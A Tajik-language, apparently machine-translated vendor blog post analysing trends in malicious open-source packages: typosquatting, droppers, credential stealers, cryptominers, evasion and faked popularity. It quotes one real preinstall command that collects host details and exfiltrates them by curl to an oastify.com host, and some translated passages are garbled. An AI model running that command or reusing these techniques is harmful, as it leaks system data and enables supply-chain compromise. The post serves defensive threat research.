Бастаҳои зараровар 5

Анатомияи бастаҳои зараровар: Тамоюлҳо кадомҳоянд?

Дар эпизоди қаблӣ, Бастаҳои зараровари манбаъи кушода: Мушкилот, мо муҳокима кардем, ки чаро омилони таҳдид ин қадар буданд бо шавқу завқ ба нашри ҷузъҳои нави зараровар ё ворид кардани нармафзори зараровар дар версияҳои охирини ҷузъҳои мавҷуда: Инфрасохтори кушодаасос ба ҳар кас имкон медиҳад, ки дар ҳама ҷо ҳисоби муваққатӣ эҷод кунад дар феҳристи ҷузъҳо (ба монанди NPM, PyPI, Docker Hub ё Visual Studio Marketplace) ё платформаи таҳияи муштарак (ба монанди GitHub). Бе арзиши сифр ва имкониятҳои зиёде барои истифода аз эътимоди аз ҳад зиёд, ки гурӯҳҳои нармафзор анъанавӣ ба ҷузъҳои тарафи сеюм доранд. 

Нобаробарӣ байни он ки чӣ қадар барои ҳамлагарон паҳн кардани нармафзори зараровар бо истифода аз инфрасохтори дастрас барои манбаъҳои кушода осон аст ва чӣ қадар барои ташкилотҳое, ки нармафзорро таҳия мекунанд (барои ҳама?), пешгирӣ аз сироятёбӣ бо нармафзори зараровар (ва интиқоли нармафзори зараровар дар нармафзоре, ки онҳо барои дигарон паҳн мекунанд) душвор аст, боис шуд, ки соли гузашта ба чоряк миллион бастаҳои зараровар қариб расида бошанд. 

Ин мушкили бузургест, ки ҳеҷ як созмон наметавонад онро ҳал кунад ва ҷомеа дар ҳоли аз нав тарҳрезии раванди кушодаасос дар робита ба эътимод, принсипҳои бехатарӣ аз рӯи пешфарз ва бехатарӣ аз рӯи тарҳ ва давраи ҳаёти ҷузъҳост. Мо ба чунин ғояҳо дар қисмати оянда назар хоҳем кард. Муҳофизат аз бастаҳои зараровари кушодаасос: Чӣ кор мекунад (не).

Дар хотир доред, ки мо дар бораи ҷузъҳои нармафзоре сухан меронем, ки аксари вақт ба онҳо мувофиқат мекунанд бастаҳои нармафзор: ҷузъҳои такроран истифодашаванда бастабандӣ шудаанд, то онҳоро ҳамчун вобастагӣ дар манифести нармафзор истинод кардан мумкин бошад ва бо менеҷери бастаҳо ё асбоби сохтан насб кардан мумкин аст. Лутфан, дар хотир доред, ки ин парвандаро метавон васеъ кард, то оммавиро дар бар гирад тасвирҳои контейнерӣ (аз ҷониби вақти иҷрои контейнерҳо ва платформаҳои оркестрӣ ба монанди Kubernetes истифода мешавад) ва васеъкуниҳо ба абзорҳои нармафзор (барои сохтмон, автоматикунонӣ ва ҷойгиркунӣ). 

Дар ин ҷо мо таҳлил мекунем, ки чӣ тавр ин тактикаи ҳамла дар асоси ҷузъҳои зараровар мувофиқи мисолҳои гузашта ва он чизе, ки мо дар платформаи худ барои огоҳии барвақти нармафзори зараровар дидем, кор мекунад (MEW). Мо ҷузъҳои зарароварро дар андозаҳои гуногун таҳлил хоҳем кард: 

(1) роҳи интихобшуда барои паҳнкунӣ (регистре, ки дар ҷузъи нав ё мавҷуда истифода мешавад ва техникае, ки барои сироят кардани версияи нашршудаи ҷузъ истифода мешавад), (2) чӣ гуна нармафзори зараровар фаъол ё ба кор андохта мешавад, (3) рафтори зараровар, яъне кадом амалҳои зараровар мушоҳида мешаванд ва кадом ангезаи ҳамлагар аст, (4) кадом усулҳо барои нофаҳмӣ, пинҳон шудан барои нодида гирифтан, ҳаракати паҳлӯӣ, муошират бо мизбонҳои фармондеҳӣ ва назорат (C2) ва ғайра маъмуланд; ва (5) усулҳо барои ба даст овардани маъруфият ва эътимоди кофӣ, то қурбониён дар ниҳоят ҷузъро насб кунанд.

Механизми тақсимоти интихобшуда

Мо мушоҳида мекунем, ки "садои заминавӣ"аз бастаҳои зараровари бетартиб бо истифода аз хатогиҳои чопӣ дар номи баста барои вобастагии онҳо, ба таҳиягарони беэҳтиёт фишурда мешаванд. Бисёре аз бастаҳои маъмул як қатор бастаҳои ба ин монанд номгузоришударо бо хатогиҳои чопӣ мегиранд, бо интизори он ки онҳо баъзе таҳиягарони беэҳтиётро фишурда мекунанд." 

Онҳо аз ҳисоби муваққатӣ истифода мебаранд, як гурӯҳи бастаҳои typosquat-ро нашр мекунанд, дигареро эҷод мекунанд ва гурӯҳи дигареро нашр мекунанд... Бо истифода аз каме автоматикунонӣ ва ихтироъкорӣ, онҳо метавонанд каме мураккабӣ ба даст оранд, аммо одатан онҳо хеле ночизанд. Мо дар дохили худ онҳоро "анчом"Дуздии эътимодномаҳо ҳадафи асосӣ аст, аммо баъзан мо нармафзори ҷосусиро мебинем, ки рамзи сарчашма ё маълумоти ҳассосро ба монанди маълумоти шахсии муайяншаванда (PII), сабти буфер ва дигар шубҳаҳоро хориҷ мекунад."

Ногаҳон мо ҷузъҳои зараровари мураккабтарро мебинем, ки "акулаҳо" мебошанд. Ақаллиятҳо ба гурӯҳҳо ё созмонҳои мушаххас нигаронида шудаанд, ки одатан бо истифода аз дренажҳои крипто ё скиммерҳои веб, ки шартӣ фаъол карда мешаванд, эҳтимолан бо пайравӣ аз равиши дар ... дидашуда. ҳодисаи ҷараёни чорабинӣ рамзкушоии бори ҳамла танҳо вақте имконпазир аст, ки баста аз бастаи мақсаднок истинод карда шавад. 

Механизми тақсимот дар мақолаи аъло ва ҳоло классикӣ таҳлил шудааст: "Маҷмӯаи корди Backstabber: Шарҳи ҳамлаҳо ба занҷираи таъминоти нармафзори кушодаасос", ки ҳатман хонда мешавад. Бешубҳа, шумо ин ҷадвали хубро қаблан дидаед: 

бастаҳои зараровар

Ҳама роҳҳо, аз ҷумла бастаҳои нав ва мавҷуда, омӯхта шуданд; ба рамзи сарчашма, системаи сохташуда ё худи ҷузъи бастабандишуда таъсир расонданд; истифодаи эътимодномаҳои дуздидашуда ё муҳандисии иҷтимоӣ; рабудани ҳисобҳо ва анборҳои партофташуда ё заҳролуд кардани ҳисобҳои нигоҳдошташуда. Баъзе ҳамлаҳо ном гирифтанд (Типосквотинг, Нофаҳмиҳои вобастагӣ, Ошуфтагии ошкор, Ҷекинги репозиторӣва ғайра) ва аллакай дар ҷои дигар муҳокима шуда буданд. 

Дар бораи феҳристҳои интихобшуда чӣ гуфтан мумкин аст?

NPM дар шумораи умумии бастаҳои зараровар пешсаф боқӣ мемонад, аммо мо имсол дар PyPI афзоиши назаррасро мушоҳида кардем. Python як экосистемаи маъмул барои илми додаҳо ва омӯзиши мошинӣ мебошад. Дар асл, зичии нармафзори зараровар ҳоло дар PyPI нисбат ба NPM баландтар аст. 

Чӣ тавр нармафзори зараровар фаъол мешавад

Бастаҳои зараровар танҳо дар 4 аз 10 ҳолат ҳангоми насб фаъол мешаванд (дар солҳои охир ин нишондод ба 6 аз 10 ҳолат наздик буд). Боқимондаҳо ҳангоми иҷрои кор рафтори зарароварро иҷро мекунанд ва 1 аз 100 ҳолат ҳангоми иҷрои санҷишҳо фаъол мешавад. Ба назар мерасад, ки мухолифон медонанд, ки иҷрои беназорати скриптҳои насб дар бисёр ҷойҳо ғайрифаъол карда шудааст.

Бадкорон аз чӣ метарсанд?

Мо категорияҳои рафтори зарароварро бо маъмултаринҳо аввал номбар мекунем. Лутфан, дар хотир доред, ки таъсир метавонад хеле гуногун бошад: хушконанда харобиовари якрав аст, аммо он маъмул нест ва танҳо дар чанд ҳолат, ки ба маъракаҳои ҷанги киберӣ ё ҳактивизми бераҳмона алоқаманданд, дида шудааст. Категорияҳои зерин хеле маъмуланд:

  • InfoStealer / Драйнери эътимоднома. То ба имрӯз, беш аз 90% ҳамлаҳои нозук, ки маъмултарин ва нозуктарин мебошанд, дуздони оддӣ мебошанд, ки асосан маълумоти эътимодномаро ба монанди паролҳо, токенҳои дастрасӣ, калидҳои API ва калидҳои хусусӣ (барои SSH ва ғайра) меҷӯянд. Эҳтимол, навиштани он соддатарин аст (дар баробари тозакунакҳо?). Онҳо файлҳо/директорияҳои маълум ва дигар манбаъҳоро (масалан, калидҳои реестр) номбар мекунанд, мундариҷаро бастабандӣ мекунанд ва ин маълумотро ба сервери C2 мефиристанд. Идея оддӣ аст: "Ман як дузди барои маълумоти фишинг нашр мекунам, то баъдтар ман маълумоти эътимодномаро барои оғоз кардани ҳамлаи мақсаднок истифода барам". 

Шабакаи C2-и мушоҳидашуда одатан арзон ва ифлос аст, ба монанди каналҳои Telegram ё асбобҳои туннелсозии монанд ба ngrok (аксар вақт дар шакли проксиҳои баръакс, ки тавассути суроғаҳои IP-и баромади VPN фош карда мешаванд). Садҳо (!) имкониятҳо мавҷуданд, ки дар зери онҳо бисёр лоиҳаҳои GitHub мавҷуданд. мавзӯи дуздии паролИхтисосҳо ба монанди keyloggers барои бастаҳои зараровар ва тасвирҳои контейнерӣ камёбанд, аммо дар васеъкунии абзорҳо, ки дар он ҷо муомилаи корбар интизор меравад, бештар маъмул аст.

  • Қатракунанда / БоргирандаДуюм аз рӯи маъруфият, ки одатан дар ҳамлаҳои бисёрмарҳилаӣ дар ҷои аввал меистад. Зиёда аз се як қисми ҷузъҳои зараровар дропперҳо (агар боркунии зараровар дар баста дохил карда шавад) ё зеркашӣкунандагон доранд (боркунӣ аз нуқтаи ниҳоӣ таҳти назорати ҳамлагар зеркашӣ карда мешавад). Боркунии зараровар аксар вақт як варианти маълуми нармафзори дуӣ мебошад ва он барои насб кардани дарҳои пуштибонӣ, нармафзори ҷосусӣ, дренажҳои крипто ва дигар ҳолатҳои истифода кор мекунад ва баъзан нигоҳ дошта мешавад. Боркунии зараровар, ки зеркашӣ ё ҷойгир карда шудааст, ҳамлаи марҳилаи дуюмро бо тамоми қудрате, ки аз ҷониби файлҳои дуӣи зараровари мавҷуда таъмин карда мешавад, оғоз мекунад. Файлҳои дуӣ метавонанд дар дохили баста паҳн карда шаванд, ки аксар вақт ҳамчун тасвирҳо ё намудҳои файлҳои гӯё безарар пинҳон карда мешаванд, то ҳангоми пайвастшавӣ ба сайтҳои ғайричашмдошт аз ошкоршавӣ пешгирӣ карда шаванд. 
  • Дуздони криптовалюта / конканҳоРақибони аз ҷиҳати молиявӣ ангезадошта омодаанд дороиҳои абрии шуморо барои идоракунии криптомайнерҳо истифода баранд (онҳо ҳатто муайян мекунанд, ки оё онҳо дар виртуалии абрӣ кор мекунанд). Онҳо ба ин аҳамият намедиҳанд. таносуби фоидаи паст $1 барои ҳар 53 долларе, ки аз ҷабрдида барои инфрасохтори абрии дуздидашуда ситонида мешавад. Ҷабрдидагон шояд аз ин огоҳ набошанд, то он даме, ки ҳисобномаи ғайричашмдошт гиранд. Хушбахтона, ин меояд ва меравад. Кредитизатсия маъракаҳо дар бастаҳои зараровар баъзан пайдо мешаванд ва сипас нопадид мешаванд, фишинг барои корбарони ҳамён ё дар ниҳоят провайдери ҳамёнро ҳадаф қарор медиҳанд, чунон ки дар Ҳамлаи Леджер.   

Рафторҳои дигар, ба монанди ҷойгиркунии дар пушт барои иҷрои дурдасти код тавассути кушодани қабати баръакс ҳоло нисбат ба гузашта камтар маъмул аст. Масалан, 123rf_contributor_web баста (ҳоло аз реестр хориҷ карда шудааст) бе ягон мушкилӣ кушода мешавад, пӯсти баръакс, ки аз он нусхабардорӣ ва часбонда шудааст Варақаи фиреби пӯсти баръакс:

бастаҳои зараровар 2
Намудҳои бастаҳои зараровар дар давоми ҳафтаи 24-30 июни соли 2024 мушоҳида шуданд.

Илова бар ҷузъҳои қонунӣ ва зараровар, мо якчанд сӯиистифодаҳоро мушоҳида кардем, аз ҷумла:

Бастаҳои спам

Ҳазорҳо бастаҳои хурд мавҷуданд, ки асосан дар NPM мавҷуданд, ки нармафзори зараровар надоранд, аммо даромади осон, равғани мор, истинодҳо ба пешниҳодҳои Виагра ва ғайраро ваъда медиҳанд. Якчанд корбарон чунин спамро нашр мекунанд ва аз феҳрист паҳнои зиёди бандро мегиранд. Боз як фаъол(он) эҳтимолан аз Индонезия кӯшиш кард, ки аз тариқи... фоида ба даст орад. сӯиистифода аз чойРанк барои ҷуброни зарар ба таҳиягарони манбаъи кушода, тавассути эҷоди даҳҳо ҳазор бастаҳои NPM-и ба ҳам алоқаманд бо анборҳои сохташудаи GitHub пешбинӣ шудааст. Ин вайронкунии возеҳи шартҳои истифода аст.

Қаллобӣ дар бораи мукофоти хатогиҳо ва таҳқиқоти амниятӣ

 Вақте ки баста худро ҳамчун эксфилтратсияи маълумот барои мақсадҳои хуб, ба монанди ошкор кардани камбудиҳои амниятӣ барои барномаҳои мукофоти хато ё таҳқиқи ҷанбаҳои муайяни экосистема, тавсиф мекунад. Мо дар ин категория ҳазорҳо бастаҳоро дидем, ки маълумоти мушаххаскунанда, вале на он қадар ҳассосро ба суроғаи Burp Collaborator аз PortSwigger (масалан, хост дар домени oastify.com) меоранд. Мо аксар вақт нусхабардории онҳоро мушоҳида кардем. Нофаҳмиҳои вобастагӣ исботи консепсия аз ҷониби Алекс Бирсан, ба монанди Aurora-webmail-pro баста (аз феҳрист хориҷ карда шудааст), ки танҳо ин рамзи нохушро дар скрипти пеш аз насб иҷро мекунад:

				
					exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") 

				
			

Ва инчунин як "Ин далели консепсия аст. Ҳамлаи нофаҳмиҳои вобастагии оддӣ."Тавсифи раддия дар бастаи.jsonИн вайронкунии возеҳи шартҳои хизматрасонӣ аст, ҳатто бе нияти бадхоҳона. 

Хабари хуш? Мо (ҳанӯз) ҳамлаҳои нармафзори фидяро тавассути ҷузъҳои зараровар надидаем. Ба назар мерасад, ки ҷинояткорони киберӣ механизмҳои анъанавии фишинги почтаи электронӣ, RDP ва интиқоли зеркашии диск-байро афзалтар медонанд. 

Усулҳои иловагии мушоҳидашуда 

бастаҳои зараровар 3

Барои истодагарӣ, саркашӣ аз дифоъ, ҷамъоварии иттилоот, муошират бо лашкарҳои фармондеҳӣ ва назорат ва ихроҷ аз силоҳ бисёр усулҳо истифода мешуданд. 

Persistence дар ҷузъҳои зараровар бо истифода аз хусусиятҳои пойдорӣ дар нармафзори дуӣ-марҳилаи дуюм ба даст оварда мешавад, аммо баъзан рафтор дар рамзи баста ҷойгир аст ва вазифаҳои ба нақша гирифташуда ва тағйирот дар феҳристи Windows маъмултарин мебошанд. 

Мушкилот маъмул аст, аммо нозук аст. Аксари бастаҳои типосквотинг (дар хотир доред, ки "анчом?) умуман аз обфускасия истифода намебаранд; бисёриҳо ё рамзҳои содда (рамзгузории base64/hex ё рамзҳои ивазкунӣ ба монанди rot13)-ро истифода мебаранд ё аз обфускаторҳои дастраси рамз ва минификатсия истифода мебаранд, ки бо асбоби дуруст ба осонӣ баръакс карда мешаванд. Танҳо "акулаҳо" обфускасияи воқеӣ, сахт ва муҳандисии баръаксро анҷом медиҳанд.

Нофаҳмӣ метавонад ҳамларо пинҳон кунад, аммо чаро рамз дар ҷузъи кушодаасос бояд нофаҳмӣ карда шавад? Оё далеле вуҷуд дорад, ки чизе бояд аз назари оддӣ пинҳон карда шавад? Мо бисёр мисолҳои бастаҳои ғайризарароварро пайдо кардем, ки барои ҳифзи моликияти зеҳнӣ аз нофаҳмӣ истифода мебаранд, ки бо "манбаи кушода" мухолиф аст. Нофаҳмӣ метавонад ҳамчун далели нармафзори зараровар истифода шавад, аммо он қатъӣ нест. Рафъи он низ душвор аст. 

Тарсонидан аз назорати мудофиа усулҳои соддаро истифода мебарад. Коди зараровар аксар вақт дар он ҳифз карда мешавад кӯшиш кунед … сайд кунед блокҳое, ки ҳама гуна истисноҳоро нодида мегиранд, аз ин рӯ фаъолияти ғайримуқаррарӣ дар гузоришҳо нишон дода намешавад. Тасдиқи муҳит (дар VM ё контейнер иҷро мешавад) камёб аст, ба истиснои ҳолатҳое, ки нармафзори зарароваре, ки ба созмон ё муҳит нигаронида шудааст.

Ниқоб кардани файлҳои дуӣ дар тасвирҳо ва файлҳои PDF (навъе аз стеганография) як усули дигари пешгирӣ аз ошкоркунӣ буд.

Азбаски маъмултарин ҷузъҳои зараровар ин дуздии иттилоот мебошанд, ҷамъоварии маълумот муҳим аст. Сиррҳо (гузарвожаҳо, токенҳои дастрасӣ, калидҳои API, калидҳои криптографӣ) мунтазам дар файлҳои сабт, тағйирёбандаҳои муҳит ва ҳатто буфер скан карда мешаванд (бо троянҳои бонкӣ ва дуздони крипто дида мешаванд). Эксфилтратсияи рамзи сарчашма низ маъмул аст, зеро насби бастаҳо аксар вақт дар гиреҳи таҳия анҷом дода мешавад, ки дар он анборҳои дохилии git метавонанд клонида шаванд. Мо бастаҳоеро дидем, ки феҳристҳоро дар ҷустуҷӯи анборҳои git номбар мекунанд. Ҷустуҷӯи маконҳо ба монанди .env, private.pem, settings.py, app.js ё application.properties хеле маъмул аст.

Эксфилтратсия як амали дигари васеъ истифодашаванда аст. Танҳо як қисми ками бастаҳои зараровар ҳатто кӯшиш мекунанд, ки макони таъиноти маълумоти истихроҷшударо пинҳон кунанд. Каналҳои Telegram ва нақбҳои монанд ба нгрок аксар вақт истифода мешаванд. Ва бисёранд одатан доменҳои сафедрӯйхатшуда барои эксфилтратсия истифода мешаванд

Усулҳои дигар, ба монанди афзоиши имтиёзҳо ё ҳаракати паҳлӯӣ, камтар маъмул буданд. 

Ба даст овардани маъруфият ва эътимод

Тасаввур кунед, ки як қаллоби техникӣ бо як чизи қотили бадхоҳи омода, ки дар ҳайрат аст: "Чӣ тавр ман ин порчаи аблаҳонро барои он аблаҳони бехабар боэътимод гардонам?". 

Ин маънои онро дорад, ки чӣ гуна вуруд барои ҷузъи зарароварро барои нишон додани ситораҳо/чангакҳои зиёд (барои маъруфият), инчунин версияҳо/масъалаҳо ва pull requests (барои фаъолият). Идея ин аст, ки маъруфияти сохта (ситораҳо) ва шахсони вобастаро ба даст орем ва ба он нигоҳи боварибахш дар бораи аҳамият ва нигоҳдорӣ дошта бошем. 

Регистр мувофиқати мундариҷаи лоиҳаи GitHub ва мундариҷаи бастаро тафтиш намекунад.Ин як масъалаи маъруф дар занҷираи таъминоти нармафзор аст. Феҳристҳои давлатӣ сӯрохиҳои бузурге ҳастанд, ки ҳама чизеро, ки ба онҳо партофта мешавад, фурӯ мебаранд. Шумо метавонед ҳар як анборро пайваст кунед. 

бастаҳои зараровар 4
Паҳнкунии далелҳо дар бораи нармафзори эҳтимолии зараровар дар давоми ҳафтаи 24-30 июни соли 2024.

Агар бастаи зараровар бастаи маъмулро хато кунад, ин осон аст: танҳо ба анбори мавҷудаи GitHub дар манифести вобастагиҳо, ки барои эҷоди баста ва нашри он дар феҳрист истифода мешавад, муроҷиат кунед. Барои бастаҳои нав дар анбори қалбакии GitHub, ба шумо шояд маҳорати бештар лозим бошад, шояд эҷоди қалбакӣ. тамошои ситораҳо/чангакзанӣ Ҳисобҳои GitHub тавассути скриптҳо.

Ва агар мундариҷаи бастаи шумо ба анбори захиравӣ монанд бошад, якчанд тағйироти хуб тарҳрезишударо дар ин ҷо ва он ҷо ворид кунед... Шумо метавонед нармафзори зараровари худро ба бастаи наве ворид кунед, ки ба бастаи маъмуле монанд аст, ки ба анбори мавҷуда ишора мекунад ва интизори хатогиҳои чопӣ бошад. Агар касе ҷуръат кунад, ки мундариҷаи бастаи tarball-ро бо мундариҷаи анбори GitHub муқоиса кунад, фарқиятҳо дар нуқтаҳои ворид кардани нармафзори зараровар метавонанд ба осонӣ аз назар гузаранд. Мо ин равишро қаблан борҳо дидаем. 

Механизме, ки барои як ҷузъ дар бораи пайдоиш, тарзи сохта шудани баста, аз кадом манбаъҳо ва аз ҷониби кӣ изҳороти беэътиноӣ пешниҳод кунад, қобили қабул аст. Аммо ин як ҳикояи дигар аст. 

Оё Component X зараровар аст?

Оё пойгоҳи додаҳои (ҳамаҷониба) бастаҳои зараровар вуҷуд дорад? Не. Осебпазириҳои кушодаасос ID-и CVE доранд, аммо танҳо ба якчанд бастаҳои зараровар (хусусан онҳое, ки сархатти хабарҳоро ташкил медиҳанд) дода мешавад. CWE барои бастаҳои зараровар ин аст CWE-506 (коди зараровари воридшуда). 

Абзорҳои маъмулии нармафзори зараровар (VirusTotal, MalwareBazaar, SOREL-20M…) барои ҷузъҳои зараровар муқаррароти мушаххас намедиҳанд. Ин хуш омадед меомад!

Барои таҳлил пойгоҳҳои додаҳои намунавии тадқиқотӣ ва маҷмӯаҳои додаҳо мавҷуданд (мо чандтои онҳоро истифода мебарем), аммо вурудҳо танҳо вақте нав карда мешаванд, ки бастаи зараровар маълум бошад, ки аксар вақт хеле дер мешавад. Агар шумо таваҷҷӯҳ дошта бошед, OpenSSF Бастаҳои зараровар оғози хуб аст.

Дар паёми навбатӣ, мо дар бораи чӣ гуна фаҳмидани зараровар будани бастаи додашуда сӯҳбат хоҳем кард. Спойлер: бале, роҳҳои санҷиши ҷузъҳои зараровар дар аввали тирезаи фошкунӣ, пеш аз нест кардани ҷузъи зараровари маълум аз ҷониби реестр мавҷуданд.

Хондани минбаъда

Дар қисмати оянда "Муҳофизат аз бастаҳои зараровари кушодаасос: Чӣ кор мекунад (не)" мо корҳоеро, ки бояд ва набояд барои амнияти манбаъҳои кушода анҷом дод, муҳокима хоҳем кард. Аксари мутахассисони огоҳ дар бораи чӣ гуна мубориза бо ин таҳдид тасаввуроте доранд, аммо тасаввуроти нодуруст зиёданд. 

Мо сабаби нодуруст будани ин ақидаҳоро ва чӣ гуна чунин тасаввуроти нодуруст ба маъруфияти ин механизми ҳамла ва хатари азими ташкилотҳо мусоидат мекунанд, баррасӣ хоҳем кард. Сипас, мо ба он чизе, ки кор мекунад ва кадом кӯшиш ва захираҳои сарфшуда аст, идома медиҳем. 

Инчунин, мо дар бораи таҳаввулоти бастаҳои зараровар аз нигоҳи ният, механизми воридшавӣ ва усулҳои ҳамлаи онҳо паём хоҳем гузошт.

Гӯш ба занг бош!

Адабиёт

Бастаҳои зараровари манбаъи кушода: Мушкилот

Муҳофизат аз бастаҳои зараровари OSS: Чӣ кор мекунад (не)

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni